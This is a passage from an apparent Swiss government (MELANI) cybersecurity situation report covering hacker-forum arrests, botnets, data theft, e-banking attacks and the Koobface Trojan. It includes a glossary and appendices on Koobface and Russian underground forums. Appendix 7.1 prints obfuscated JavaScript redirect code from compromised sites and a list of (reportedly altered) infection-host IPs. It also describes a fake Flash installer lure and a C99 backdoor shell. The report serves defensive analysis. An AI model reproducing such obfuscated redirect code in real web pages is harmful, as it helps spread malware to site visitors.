The German Federal Criminal Police Office (BKA) carried out a major strike against members of a hacker forum at the end of November 2009. 46 homes were searched, numerous computers and data carriers were secured, and three suspects were provisionally arrested. Also in Austria, the police searched homes and arrested one man. The accusations there were levelled against members and responsible officers of an Internet forum who called themselves the "Elite Crew". The administrator of the forum "1337-crew" is alleged to have operated a botnet with more than 100,000 infected computers. Such networks made up of remote-controlled computers can for instance be used to send spam or for concerted attacks against specific servers. According to the BKA, the forum served as a platform via which illegal account data, credit cards and malware were traded. Instructions for fake documents and Internet scams were also exchanged. In their investigations, which lasted more than one year, the police were able to penetrate deeply into the scene and identify many of the 15 to 26-year-old criminals, who had used pseudonyms and operated very professionally. According to information on relevant forums, the head of this hacker gang was a 21-year-old student from Lower Austria responsible for numerous DDoS attacks and credit card scams, including a DDoS attack against the website of the financial news service Goldman, Morgenstern and Partners. Goldman, Morgenstern and Partners was attacked over the course of several weeks and offered a reward of 1 million dollars for clues leading to the backers of this attack.

The forum of the "1337-crew", which was hosted on a Russian server and was active for about 2 ½ years, served as a market place for Internet criminals and is said to have had up to 19,000 members. The forum administrator allegedly participated in the hosting project "Heihachi", which housed numerous warez (illegal copies) and hacking sites. Rivals and unwelcome comments about Heihachi were consistently punished in order to lure as many users as possible to its service.

In the field of cybercrime, the commercial model of crimeware-as-a-service (CaaS) was developed over the course of last year. Using this model, cybercriminals who are not very familiar with the technical aspects can "rent" the desired service. Services are also offered via generally accessible channels, such as open forums. Using these platforms, they receive data (credit cards, access data for bank accounts, web servers, etc.) directly from other Internet criminals (criminal-to-criminal, C2C). This new commercial model will develop further in future.

4.8 Enterprises often prioritize the wrong security updates

Already in the last semi-annual reports, MELANI noted that infections are increasingly occurring via vulnerabilities in applications and no longer via vulnerabilities in the operating system. Especially when surfing the Internet, one repeatedly encounters manipulated Flash applications or PDF documents. For this reason, both the operating system but also the installed applications on every computer must be protected. As a study now shows, many companies do not prioritize the closure of their vulnerabilities properly. ³⁰ Twice as much time

passes until security updates are installed to close vulnerabilities in Adobe Reader, QuickTime, Adobe Flash and Microsoft Office than to close vulnerabilities in operating systems. This is the conclusion of the report entitled "The Top Cyber Security Risks". According to the report, 80% of Windows vulnerabilities are patched within 60 days of availability of the updates. For applications such as Office, Adobe Acrobat and Java, only about 20% to 40% are patched in the same time period. The figures are even more dramatic for Flash, where the update rate is only between 10% and 20%.

4.9 Federal centre for combating botnets throughout Germany

In December 2009, the Association of the German Internet Economy (eco) presented an anti-botnet project. The goal is to inform home users that their computers are part of a botnet and to offer help in remedying the problem. Internet service providers (ISPs) have long been technically able to use network traffic analyses to identify home computers of their clients that have been infected with malware and made part of a botnet. Because of telecommunication secrecy, however, telecommunication service providers in Germany are only allowed on an exceptional basis to perform a precise analysis of data traffic, namely when it is necessary in order to protect their technical systems. The acute increase in problems (especially DDoS attacks) caused by botnets has meanwhile likely resulted in viewing such countermeasures as necessary for the protection of information infrastructure. Since concerns about the necessity and reliability of analyses of network traffic (so-called deep packet inspection) have been voiced, indications about infected systems should only be compiled passively by way of so-called spam traps, honeypots, evaluation of denial-of-service attacks, and external complaints.

In a first step, affected users can visit a website containing instructions for self-help and tools for removing malware. In a second step, users receive telephone support from a counselling centre that covers all providers. Starting in mid-2010, this counselling centre will provide users with assistance in purging their computers of such malicious software and in securing their system for the long term.

This private initiative by eco is supported with technical expertise by the Federal Office for Information Security (BSI) and financially by the Federal Ministry of the Interior.

Similar projects have been successfully launched in Australia, Japan and South Korea. The American provider ComCast also offers its clients similar support – but only on its own initiative and without government assistance.

In cooperation with MELANI, Swisscom already started a pilot trial the beginning of 2009 in which clients were informed that their systems had been infected with an e-banking Trojan. Meanwhile, projects to combat botnets in Switzerland have at least been launched by UPC/Cablecom and Swisscom. This is also promoted by Swiss anti-spam legislation. It requires providers of telecommunication services to protect their clients from the receipt of mass advertising, to the extent the level of technology allows. It also expressly allows clients who send or forward unfair mass advertisements to be evicted from the telecommunication network.\(^{38}\)

5 Trends / Outlook

5.1 Information theft and the underlying economy – Attacks on EU, climate advocates, Google, banks and other

Time and again over the past few months, incidents have occurred in which malware or insider access to computer systems has been used to steal data from individuals, administrations and enterprises – data that has then been sold, leaked to the media, or misused for other purposes. Most prominently covered in the media were the attacks against Javier Solana and the Secretariat-General of the EU, the e-mails of individual climate researchers stolen shortly before the climate conference, the client data of HSBC Private Bank, and the attacks against Google, Adobe and other companies in December 2009.

Already in previous MELANI semi-annual reports, we indicated on the one hand that espionage is perpetrated with the help of IT and on the other hand that information in principle always has a value and therefore constitutes a lucrative target for attackers. Against this background, the recent incidents involving Google, climate researchers, banks and administrations come as no surprise. External insiders and future ex-employees who steal corporate property shortly before leaving are a well-known phenomenon. It should likewise not astonish anyone that some government actors are suspected to be perpetrators, given that espionage is often called the second-oldest trade. The use of malware and attacks on IT infrastructure are only a logical development and consequence. It is similarly logical that companies and administrations react to such external and internal attacks by adjusting their risk assessment in respect of sensitive and confidential information and incorporate safety processes and mechanisms at all levels – whether purely technical restrictions such as more restrictive access rights, filtering of Internet content, encryptions, but also more far-reaching measures such as more thorough security checks of employees, stricter controls of external staff members, restricted availability of data and information outside the workplace, and so on.

Safety measures: Risk assessment and cost-benefit analysis

Safety measures always incur costs, either directly or indirectly by diminishing work efficiency. For this reason, such considerations always initially involve classic risk assessment and cost-benefit analysis. An essential factor influencing this analysis is whether a market even exists for such information, i.e. whether the information also has a value.

\(^{38}\) Telecommunications Services Ordinance, Art. 83: [http://www.admin.ch/ch/d/sr/784_101_1/a83.html](http://www.admin.ch/ch/d/sr/784_101_1/a83.html) (as of: 14.02.2010).
Governments and criminals only invest their resources in criminal behaviour if the stolen goods actually have a monetary, political or strategic value and cannot be obtained in a legal manner for a fitting price. Not all information and not all data are equally valuable or are proportionate to the costs that must be incurred and the risks that must be assumed to obtain them illegally. Especially in the field of information and communication technologies, this risk is relatively low, however, since the perpetrators can generally not be identified accurately. Depending on the approach, the costs may likewise be relatively limited compared with the costs incurred for instance by a physical break-in or by infiltrating a company or administrative unit. In this respect, the increasing networking and availability of information in the form of data on networks results in a different cost-benefit analysis and more advantageous risk assessments for the attacker. Accordingly, a market is created for information that otherwise would not be worth stealing. Or government authorities may create or encourage a market that otherwise might be marginal by suddenly creating a market value for information that would otherwise be of little use to criminals.

This development is one of the main factors motivating attacks against information and data and is therefore the starting point for the increasing espionage incidents and data thefts in the IT field. Such incidents can generally only be reduced by taking preventive measures to increase the costs and risks for attackers and thus to limit the market for stolen information. It appears clear in this connection that the preventive measures come at the expense of work efficiency and trust toward employees and that they generally increase safety costs. It must nevertheless be the utmost goal for states and private actors to advance these preventive measures in order to strengthen and protect one’s own security and national security.

The fact that states are in conflict with this goal by using dishonest methods and operations to obtain information from other states is the way the world works. As long as they do so on the basis of their own legal foundations and political decisions, however, the political responsibility and thus the risk of failure lies with the executing state. Privatization or outsourcing of the information theft to third parties shifts the cost-benefit analysis for state actors to their advantage and creates an otherwise non-existent market for illegally obtained data and information. Especially in this light, the creation of additional markets for information due to decisions by the state appears to encourage them rather than suppress them and thus unnecessarily undermines the preventive efforts of information assurance – a development which, once initiated, may very well turn out to be at the expense and to the detriment of all private and state actors.

### 5.2 In a globalized world, information assurance concerns everyone

A very high Internet penetration is observed in regions of North America (74.2% of the population) and Europe (52%)\(^{39}\). Granting the population network access is no longer a structural problem. Lack of Internet access is more frequently an individual decision than due to objective difficulties in guaranteeing access.\(^{40}\)

---

\(^{39}\) The data is published at [http://www.internetworldstats.com](http://www.internetworldstats.com) (as of 15.02.2010). This includes data from various sources such as the International Telecommunication Union (ITU), Nielsen Online, and the US Census Bureau.

\(^{40}\) 42% of Americans say they do not use the Internet, even though they would have the possibility; of these, 17% have voluntarily dropped out of using the Internet. The number of drop-out cases increased sharply between 2000 and 2002 (Lenhart A., Horrigan J., Rainie L., 2003, "The ever-shifting Internet population: a new look at Internet access and the digital divide". *The Pew Internet and American Life Project*).
In contrast, the aspect of security has for several years increased in importance in these geographical regions. Once general access was ensured, an ever higher level of security had to be provided. According to Project Honey Pot\textsuperscript{41}, the countries in North America, Europe and Oceania\textsuperscript{42} have the highest levels of IT security. The flipside of the coin: in the countries still aspiring to provide network access to their populations, security is deemed secondary.

According to a report by the Georgia Tech Information Security Center\textsuperscript{43} (GTISC), 15\% of all computers with an Internet connection were infected and belonged to a botnet in 2009. Today, there are approximately 1.5 billion Internet users worldwide. According to the GTISC, there are currently 1.3 billion networked computers\textsuperscript{44}; this means that about 225 million computers would be infected. The number will certainly increase rapidly over the coming years. China and India are two of the largest players in the Asian region and are experiencing a dramatic expansion of Internet access. The World Wide Web in China currently has a penetration rate of 27\% with a growth of 1,500\% in 9 years. In India, the penetration rate is only 7\%, but the increase over the past 9 years has been 1,520\%.\textsuperscript{45} According to estimates, about 30\% of Chinese and Indian households will receive a broadband connection during the course of 2011.

As mentioned, however, security has not been a topic so far. A report published by the IT security company Damballa\textsuperscript{46} estimates that 75\% of the targeted-attack command and control centres are in China. Wenke Lee, the lead GTISC researcher on botnets, explains this factor with reference to the fact that Chinese users tend to use counterfeit software on a massive scale (such as Microsoft operating systems), so that the operating systems are neither updated nor secure. The conclusions of Project Honey Pot are similar, referring to China as the country with the lowest level of IT security.

What do these figures mean? If the number of Internet users in the most populous countries in the world continues to increase by 1,500\% and if these users receive broadband connections (i.e. uninterrupted network access), but the increase is not accompanied by an efficient security policy, then the army of zombies – which according to current estimates increases by 150,000 new infected computers daily – will grow even more strongly and become even more efficient.\textsuperscript{47} Future consequences are the increased availability of bots with high speed access and accordingly also the possibilities of executing DDoS attacks, for example, with a limited number of computers. Consequences will also include sinking prices for the purchase or rental of botnets. A dial-up connection of an infected computer has less value on the black market than a broadband connection. But if the trend described above occurs, the prices for broadband bots will likely sink.

\textsuperscript{41} \url{http://www.projecthoneypot.org} (as of 15.02.2010)
\textsuperscript{42} The study published by Project Honey Pot \url{http://www.projecthoneypot.org/1_billionth_spam_message_stats.php?vid=04b7k2g7ljvqr6p3ujh1c0b327}, as of 15.02.2010) entitled “Our 1 Billionth Spam Message” established a connection between the number of infected computers and the number of IT security experts in the countries surveyed.
\textsuperscript{43} \url{http://www.gtisc.gatech.edu/pdf/CyberThreatsReport2009.pdf} (as of 15.02.2010)
\textsuperscript{44} The number of computers with Internet access is hard to estimate. The original text uses the term “device”, which could encompass various devices. Moreover, the quality of the dark Internet, i.e. the computers “hiding” behind an NAT, cannot be estimated. The GTISC data should therefore be treated with caution.
\textsuperscript{45} \url{http://www.internetworldstats.com/stats3.html#asia} (as of 15.02.2010)
\textsuperscript{46} Report cited by Homeland Security Newswire at \url{http://homelandsecuritynewswire.com/cyber-attacks-grow-sophistication-menace-most-originate-china} (as of 15.02.2010)
\textsuperscript{47} According to Project Honey Pot, active bots have increased by 378\% each year since 2004. In 2009, about 400,000 bots executing illegal activities could be found around the clock, seven days a week.
In light of this, countries with a high security level must definitely support those with lower levels. Since the Internet is a global activity, it does not suffice to protect one’s own national territory in order to combat crime effectively in cyberspace. An enlightening example is the ITU\(^48\) programme on cybersecurity involving numerous partners. It entails valuable cooperations, for instance with IMPACT\(^49\), with the goal of organizing forums in countries where there is a need for training and information\(^50\).

### 5.3 Frequency of attacks on Swiss e-banking systems compared with other countries

Over the last half-year, MELANI has noted a decrease in attacks on Swiss e-banking systems. While there are still isolated attempts, the trend currently appears to be declining. Several institutions are using new, additional security solutions and have expanded their infrastructure, so that the interest of criminals in investing time and energy to compromise Swiss accounts is waning.

Indeed, various Russian underground forums are recommending against considering Switzerland, since online banking is too complex and the benefits are limited: "There is no free cheese in Switzerland. It is not easy to work with the data there, since there are SMS TANs and PINs for TANs."\(^51\) A detailed report is contained in Appendix 7.2.

### 5.4 Infections via social networking

The focus of Internet growth is on its development as a social space. The Internet has brought forth several social innovations, such as chatrooms, instant messaging, forums, and more recently social networks. Most critics of social networks consider these activities to be a temporary phenomenon, but the statistics of the largest social network, Facebook, show that users exhibit continuity\(^52\). Social networking has become a determinative activity on the Internet. It encompasses mobile devices\(^53\), thus opening up new gaps in the security of businesses. In its Annual Security Report, Cisco\(^54\) reviewed the logs of 4,000 devices with regard to web security and determined that 2% of the Internet traffic of employees covers websites of social media such as Facebook, MySpace and LinkedIn. The data show that web use changes habits, triggering a substantial shift toward social media for communication.

---

\(^48\) [http://www.itu.int/cybersecurity](http://www.itu.int/cybersecurity) (as of 16.02.2010)

\(^49\) International Multilateral Partnership Against Cyber Threats is a not-for-profit organization supported by the Malaysian government intended to bring governments and private companies together into a single platform to combat cyberspace threats. [http://www.impact-alliance.org](http://www.impact-alliance.org) (as of 16.02.2010).

\(^50\) For example is the Regional Cybersecurity Forum for Africa and Arab States of the ITU in June 2009 in Tunisia.

\(^51\) Text excerpt from a Russian forum (literal translation from Russian)


\(^53\) According to a study by WebCredible ([http://www.webcredible.co.uk/about-us/pr/mobile-internet-usage.shtml](http://www.webcredible.co.uk/about-us/pr/mobile-internet-usage.shtml), as of 15.02.2010), e-mail and social network platforms are the two most important activities on the "mobile Internet". According to The Pew Internet and American Life Project, the most important daily activities on the Internet are now connected to social media such as YouTube, Facebook, MySpace and Twitter ([http://pewinternet.org/Presentations/2009/RTIP-Social-Media.aspx](http://pewinternet.org/Presentations/2009/RTIP-Social-Media.aspx), as of 15.02.2010).

Information Assurance – Situation in Switzerland and Internationally

Unfortunately, crime tends to gravitate toward the places where most potential victims are located, also in cyberspace.

The Koobface Trojan

According to the Sophos annual report\(^{55}\), 57% of surveyed users indicated that they had received spam within their social networks (increase of 70.6% since the previous year); 36% indicated that they had received malicious code in the form of Trojans via the websites of social networks (increase of 69.8%). One of the best-known Trojan horses in this regard is certainly Koobface, which spread in 2008. This malware, which has been analyzed by practically all security experts, also made it to Switzerland. Before looking at some of the affected Swiss websites, we will show the workings of Koobface on the basis of the analysis published by abuse.ch\(^{56}\).

Koobface attacks the users of social networking sites such as Facebook and MySpace. The name "Koobface" is derived from "Facebook". Trojan horses use different modules, which they download from the Internet after successful infection of a computer. One of these modules was used, for instance, to outwit the CAPTCHA\(^{57}\) of the site Blogspot.

Spread of Koobface

Typically, the Koobface Trojan publishes comments or notifications (first phase) via compromised or specifically created accounts in various social networks. The comments contain links (generally a URL generated by a URL shortening service such as bit.ly) which connect the user to a page hosted at Blogspot (second phase). The Blogspot pages themselves were registered with computers already infected by Koobface. The users are then forwarded to a compromised website hosing the JavaScript code (third phase). This JavaScript generates the redirections to the last domain, from which the infection is downloaded to the victim's computer (fourth phase).

The purpose of this extremely complex redirection system is to prevent identification of the infection's origin. At the time the report was compiled, abuse.ch counted 259,820 registered URLs at the bit.ly shortening service that were used by the Koobface Trojan. Additionally, 44,165 domain names created on Blogspot were counted. 1,421 domain names were found that were used for the third phase (i.e. legitimate but compromised websites), including about 40 Swiss websites.\(^{58}\) So far, it has not been discovered how the criminals gain access to the sites on which they place the JavaScript code. The investigated sites are hosted with different providers, use different content management systems (Joomla, TYPO3, Horde and other) and were created using different tools (from Notepad and Web2Date to FrontPage). No commonalities have been picked out so far that indicate the method of infection. A webserver vulnerability thus appears unlikely. Instead, it is more probable that the

---


\(^{56}\) MELANI would like to thank the administrators of the website abuse.ch for providing the important information on the workings of Koobface and on the infrastructure of the botnet. The full analysis is available at [http://www.abuse.ch/?p=2103](http://www.abuse.ch/?p=2103) (as of 16.02.2010)

\(^{57}\) The English acronym CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) refers to a test for deciding whether a counterpart is a human or a machine, i.e. a bot. CAPTCHA's aim is to prevent bots from carrying out certain services in the name of a human, e.g. publishing notices in a forum (advertising spam or the like) or opening an account with a provider (that could be used for fraudulent purposes). In a classical CAPTCHA test, the user must recognize letters or numbers in a series that are displayed in a distorted or obscured font on the screen.

\(^{58}\) abuse.ch currently counts about 40 compromised Swiss websites (as of 17.02.2010) and about 40 bots (as of 17.02.2010), distributed among various Swiss Internet service providers.
cybercriminals stole passwords for FTP access to different webservers in order to perform the infection, as similar cases have already shown.⁵⁹

A more detailed analysis can be found in Appendix 7.1.

Social networks are problematic for companies in many different ways: Where employees have free access to these websites, some of them are tempted to take advantage of their employer's trust and engage in non-work activities excessively. There is always also the danger that confidential information about companies are provided directly from the workplace and in real time to such platforms. As seen in this article, social networks may also serve as carriers of infections that can spread to the entire IT system of the company and result in substantial data losses.

6 Glossary

This glossary contains all terms in italics in this semi-annual report. A more detailed glossary with more terms can be found at: http://www.melani.admin.ch/glossar/index.html?lang=en.

<table>
<thead>
<tr>
<th>Term</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>404 error page</td>
<td>An error page is a web page displayed when the user clicks on an Internet link that no longer works, for instance, or that calls up a non-existent URL. Most browsers display the standard page supplied by the webserver. Error pages may be individually designed by the site's webmaster.</td>
</tr>
<tr>
<td>Botnet</td>
<td>A collection of computers infected with malicious bots. These can be fully remotely controlled by the attacker (the owner of the botnet). Depending on its size, a botnet may consist of several hundred to millions of compromised computers.</td>
</tr>
<tr>
<td>CAPTCHA</td>
<td>CAPTCHA is an acronym for Completely Automated Public Turing test to tell Computers and Humans Apart. CAPTCHAs are used to distinguish whether the counterpart is a human or a machine.</td>
</tr>
<tr>
<td>Command &amp; control server</td>
<td>Most bots can be monitored by a botmaster and receive commands via a communication channel. This channel is called command &amp; control server.</td>
</tr>
<tr>
<td>Cross-site request forgery</td>
<td>A cross-site request forgery is an attack on a computer system in which the attacker modifies data in a web application without authorization. For this purpose, he takes advantage of the victim, who must be an authorized user of the web application. With the help of technical measures or personal persuasion, a compromised HTTP request is made</td>
</tr>
</tbody>
</table>

⁵⁹ In this case, the drop server in question was discovered by the Israeli security firm Aladdin. In August 2007, Aladdin informed MELANI that 3,000 FTP access datasets had been found on Swiss webservers. For more information, see Chapter 3.4 of MELANI semi-annual report 2008/2 at http://www.melani.admin.ch/dokumentation/00123/00124/01085/index.html?lang=en (as of 16.02.2010).
<table>
<thead>
<tr>
<th>Term</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>DDoS attacks</td>
<td>Distributed denial of service attacks A DoS attack where the victim is simultaneously attacked by many different systems.</td>
</tr>
<tr>
<td>Deep packet inspection (DPI)</td>
<td>Deep packet inspection is a network technology process for monitoring and filtering data packets. The payload and header of the data packet are simultaneously investigated with respect to certain characteristics such as protocol violations, computer viruses, spam and other undesired content.</td>
</tr>
<tr>
<td>Defacement</td>
<td>Unauthorized alteration of websites.</td>
</tr>
<tr>
<td>Dial-Up</td>
<td>Establishment of a connection to another computer using the telephone network.</td>
</tr>
<tr>
<td>Domains</td>
<td>The domain name (e.g. <a href="http://www.example.com">www.example.com</a>) can be resolved by the DNS (Domain Name System) into an IP address, which may then be used to establish network connections to that computer.</td>
</tr>
<tr>
<td>Drive by infection</td>
<td>Infection of a computer with malware simply by visiting a website. Often the websites concerned contain reputable offerings and have already been compromised beforehand for the purposes of spreading the malware. The infection occurs mostly by trying out exploits for vulnerabilities not yet patched by the visitor.</td>
</tr>
<tr>
<td>E-commerce</td>
<td>E-commerce is the generic term in the Internet economy for electronic commerce.</td>
</tr>
<tr>
<td>Exploit code</td>
<td>(or exploit) A program, a script or a line of code with which vulnerabilities in a computer system can be used to advantage.</td>
</tr>
<tr>
<td>Flash</td>
<td>Adobe Flash (or simply &quot;Flash&quot;, formerly &quot;Macromedia Flash&quot;) is a proprietary, integrated development environment for creating multimedia content. Flash is now used on many websites, whether as web banners, as part of a website (e.g. as a control menu) or in the form of entire Flash pages.</td>
</tr>
<tr>
<td>Honeypot</td>
<td>In the field of computer security, a honeypot is a computer programme or server that simulates the network services of a computer, an entire computer network, or the behaviour of a user. Honeypots are employed to obtain information on attack patterns and attacker behaviour.</td>
</tr>
<tr>
<td>ISP</td>
<td>Internet Service Provider. Companies that provide different services, mostly against payment, which are necessary for using or operating internet services.</td>
</tr>
<tr>
<td>Malicious software</td>
<td>See malware.</td>
</tr>
<tr>
<td>Malware / Malicious Code</td>
<td>Comes from the terms &quot;malicious&quot; and &quot;software&quot;. Generic term for software which carries out harmful functions on a device or system.</td>
</tr>
<tr>
<td>Term</td>
<td>Definition</td>
</tr>
<tr>
<td>-------------------------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>computer</td>
<td>This comprises amongst others viruses, worms, Trojan horses. See also Malware.</td>
</tr>
<tr>
<td>Master boot record (MBR)</td>
<td>The master boot record is the first data block (512 bytes) of a storage medium. The MBR contains information describing the structure of the data carrier and optionally a programme that launches an operating system in one of the partitions.</td>
</tr>
<tr>
<td>MP3</td>
<td>A compression procedure for audio data.</td>
</tr>
<tr>
<td>P2P</td>
<td>Peer to Peer Network architecture in which those systems involved can carry out similar functions (in contrast to client-server architecture). P2P is often used for exchanging data.</td>
</tr>
<tr>
<td>Pager</td>
<td>A small, portable radio receiver that uses a radio service generally for altering or transmitting messages to the recipient.</td>
</tr>
<tr>
<td>Phishing</td>
<td>Fraudsters phish in order to gain confidential data from unsuspecting Internet users. This may, for example, be account information from online auctioneers (e.g. eBay) or access data for Internet banking. The fraudsters take advantage of their victim's good faith and helpfulness by sending them e-mails with false sender addresses.</td>
</tr>
<tr>
<td>Proxy server</td>
<td>A proxy is a communication interface in a network. It serves as a relay receiving requests on the one side and creating a connection to the other side via its own address.</td>
</tr>
<tr>
<td>Ransomware</td>
<td>A form of malware used to extort money from the owners of infected computers. Typically, the perpetrator encrypts or deletes data on an infected computer and provides the code needed to recuperate the data only after a ransom has been paid.</td>
</tr>
<tr>
<td>Rogue software / Rogueware</td>
<td>Rogue software, also called rogueware, is malware pretending to have found malicious software (usually spyware) and offering to remove it for a fee.</td>
</tr>
<tr>
<td>SCADA systems</td>
<td>Supervisory Control And Data Acquisition Systems. Are used for monitoring and controlling technical processes (e.g. in energy and water supply).</td>
</tr>
<tr>
<td>Scareware</td>
<td>Scareware is software designed to make computer users nervous or fearful. The term is composed of scare and software. It is an automated form of social engineering. If the victim falls for the trick and believes to be under threat, the scareware often offers the victim elimination of the non-existent threat in return for payment.</td>
</tr>
<tr>
<td>Smart grid</td>
<td>Smart grids are intelligent (electricity) grids that report data from various devices on the grid (typically meters installed at the user's location) to the operator. Depending on the design, commands may also be issued to these devices.</td>
</tr>
</tbody>
</table>
| SMS TAN                                   | The mobile TAN (mTAN) variant or smsTAN includes text messages as a transmission channel. The transaction...
<table>
<thead>
<tr>
<th><strong>Social networking sites</strong></th>
<th>Websites for communication among users by means of personally designed profiles. Often, personal data such as names, dates of birth, images, professional interests, and hobbies are disclosed.</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Solaris</strong></td>
<td>Solaris (formerly SunOS) is a Unix operating system developed by Sun Microsystems and is a member of the Unix System V family. With Version 10 of Solaris, finally, important parts of the Sun source code were disclosed, and the system was freely released for download as OpenSolaris.</td>
</tr>
<tr>
<td><strong>Source text</strong></td>
<td>In computer science, source text (or source code) refers to the text of a computer programme written in a programming language that humans can read.</td>
</tr>
<tr>
<td><strong>Spam</strong></td>
<td>Spam refers to unsolicited and automatically sent mass advertising, into which category spam e-mails also fall. The person responsible for these messages is known as a spammer, whereas the actual sending itself is known as spamming.</td>
</tr>
<tr>
<td><strong>Spam traps</strong></td>
<td>Spam traps are normally e-mail address specially created to receive spam. For this purpose, these addresses are published in as many places as possible.</td>
</tr>
<tr>
<td><strong>Top level domains</strong></td>
<td>Every name of a domain on the Internet consists of a sequence of character strings separated by periods. The term “top level domain” refers to the last name in this sequence, constituting the highest level of the name resolution. If the full domain name of a computer or website is melani.admin.ch, for instance, the right-most member of the sequence (ch) is the top level domain of this name.</td>
</tr>
<tr>
<td><strong>Transaction number (TAN)</strong></td>
<td>In the classic TAN procedure, the electronic banking customer receives a list of transaction numbers. Every time a transaction is conducted, a given TAN off this list must be entered.</td>
</tr>
<tr>
<td><strong>URL shortening service</strong></td>
<td>A URL shortening service is a service used to create URLs that forward to other URLs; the created URLs should consist of a character string that is as short as possible. The original purpose was to create more manageable aliases for long URLs.</td>
</tr>
<tr>
<td><strong>Volume boot record (VBR)</strong></td>
<td>A volume boot record is a boot sector on a data carrier system containing code to launch programmes that are contained on another data volume of the data carrier.</td>
</tr>
<tr>
<td><strong>Warez</strong></td>
<td>In computer jargon, warez refers to illegally obtained or distributed software (illegal copy).</td>
</tr>
<tr>
<td><strong>Worm</strong></td>
<td>Unlike viruses, worms do not require a host program in order to propagate. Instead, they use vulnerabilities or configuration errors in operating systems or applications to spread by...</td>
</tr>
</tbody>
</table>
information assurance – situation in switzerland and internationally

<table>
<thead>
<tr>
<th>X Windows</th>
<th>The X Window System (also: X Version 11, X11, X) is a network protocol and software for graphics display on most Unix-like operating systems and OpenVMS.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zero day exploit</td>
<td>An exploit which appears on the same day as the security holes are made public.</td>
</tr>
<tr>
<td>Zero-day vulnerability</td>
<td>Vulnerability for which no patch exists.</td>
</tr>
<tr>
<td>Zombie computer</td>
<td>Synonym for bot / malicious bot</td>
</tr>
</tbody>
</table>

7 Appendix

7.1 Detailed analysis of Koobface

Chapter 5.4 discussed the complex redirecting system of Koobface and divided it into four phases. This appendix contains additional information on these phases and the background of Koobface.

The analysis of the second phase shows nothing conspicuous: the URL bit.ly forwards the victim to a compromised website. In the third phase, however, the (modified) JavaScript code used for the transition from the third to the fourth phase can be decrypted:

```html
<script>c6833='do';dc0d1bd="cqfiuqbemnit".replace(/\[qfibent\]+/g,\"\");ed9e='ent.r';f1987="esafvnsaeavrub".replace(/\[savnub\]+/g,\"\");ge2='rer';ac8=eval(c6833+dc0d1bd+ed9e+f1987+ge2);b3c1='\"h0cf16c3\"=mspli';i7775='npkjdstd.dpcrlffrhm".replace(/\[pjfrlhff\]+/g,\"\");j26='mys';kb96='pdjaglfcehrnm.lfcbomdk".replace(/\[jgfrnmbk\]+/g,\"\");l92='lnk';m4ab1fa22='vmlblsdxw".replace(/\[vblsdxw\]+/g,\"\");o5da6f7e8=ac8.indexof(h0cf16c3+i7775);p7e259a=ac8.indexof(l92+m4ab1fa22);q89=ac8.indexof(l92+o5da6f7e8+p7e259a+q89!=-3)b3c1='&ms';ncd1b57="hlbftqkmjmpl\".replace(/\[biqkmjmpl\]+/g,\"\");gbldjfclle\c2m9jb2q/m".replace(/\[biqkmjmpl\]+/g,\"\")+b3c1=;</script>
```
The JavaScript code generates the final IP addresses to which the surfer is forwarded for infection (fourth phase, here again modified IP addresses).

```javascript
var ipxgzet0 = [
'24.3' + '0.126.138',
'98.' + '206.3.117',
'90.' + '233.128.87',
'1' + '90.49.190.60',
'217.1' + '32.165.11',
'67' + '.173.62.160',
...............];
```

The IPs are concealed as discussed above. The decrypted list is as follows:

- 98.206.3.117
- 90.233.128.87
- 190.49.190.60
- 217.132.165.11
- 67.173.62.160

Finally, the victim is sent to one of the abovementioned IPs containing a "setup.exe" file (with the Koobface Trojan). The file pretends to be a version of the well-known Adobe Flash Player. In order to supposedly watch the Flash version of a video, the user must install "setup.exe". Of course this is only a bait to lure the victim in:

The group administering the botnet created by Koobface not only wants to outwit the CAPTCHAs on Blogspot to register new URLs and new users: ultimately, the goal is always to convert these machinations into cash. Dancho Danchev, independent consultant for security issues, has been observing Koobface's activities for a long time and described
various business models. One, the "Scareware Business Model", relies on the notorious
Conficker model.\textsuperscript{60} In the fourth phase described above, the "rogue antisyware" or "rogue
antivirus" is accessed instead of the website containing the Flash video. The Internet
criminals make the user believe that his computer has been infected and that the antivirus or
antisyware application must be downloaded to eliminate the threat. The software – in reality
a new code – can be bought for a few dozen dollars. Here again, social engineering plays a
central role:

A list of websites containing fictitious antivirus programmes is available at abuse.ch.

Using another example, Dancho Danchev shows how the group converts its activities into
capital,\textsuperscript{61} the Internet criminals compromise legitimate websites by smuggling in a PHP
backdoor shell, the so-called C99 (Synsta mod), in order to redirect Max OS X users to
membership platforms such as AdultFriendFinder.\textsuperscript{62} Essentially, every time the infected
website recognizes their operating system as Max OS X, users are redirected to a website
advertising AdultFriendFinder. The Koobfacegroup earns money for each these visits.

\textsuperscript{60} \url{http://ddanchev.blogspot.com/2009/09/koobface-botnets-scareware-business.html} (as of 16.02.2010)
\textsuperscript{61} \url{http://ddanchev.blogspot.com/2010/02/how-koobface-gang-monetizes-mac-os-x.html} (as of 16.02.2010)
\textsuperscript{62} \url{https://secure.adultfriendfinder.com/p/partners/main.cgi} (as of 16.02.2010). This membership programme
collects $1 every time a user is linked to the website in question.
7.2 Insights into Russian hacker forums

Forums for trading in malicious codes and logs
The starting point for the research was Zeus. Zeus is a Trojan horse, also known as the variants Zbot, Wsnpoem and Infostealer.Banker.C, which is mainly used to steal information during e-banking sessions or to spy on keyboard inputs. Zeus finds its victims via drive-by infection of e-mail. The original version of the software is traded by a limited number of persons; the forums generally offer copies in which backdoors have been integrated. By integrating the backdoors, the owners of the original version ensure that – as soon as Zeus has been activated – they can access the data that a criminal has collected with the Zeus software they purchased. This creates a veritable chain of data theft among the criminals. The botnets created by Zeus now encompass millions of computers.\(^{63}\) On 3 November 2009, an English couple was arrested on suspicious of stealing personal data using Zeus.\(^{64}\)

MELANI encountered some specific forums running illegal activities. Normally, such forums have a classical structure, i.e. the topics are divided into various categories such as trading in malicious codes, trading in stolen information, and support. Various degrees of trustworthiness are established for the users. If parties are unhappy with a transaction such as the buy of stolen data because the data sold does not meet the specifications, the defrauded user can report the fraudster to the site administrator. The site administrator can place the fraudster on a black list to prevent problems in the future.

Cunning criminals also in harmless forums
The underground activities do not just take place in specific forums, however. Frequently, trading is also conducted in forums that have nothing to do with cybercrime: discussion forums on recreational activities and sports are used as platforms to disguise illegal

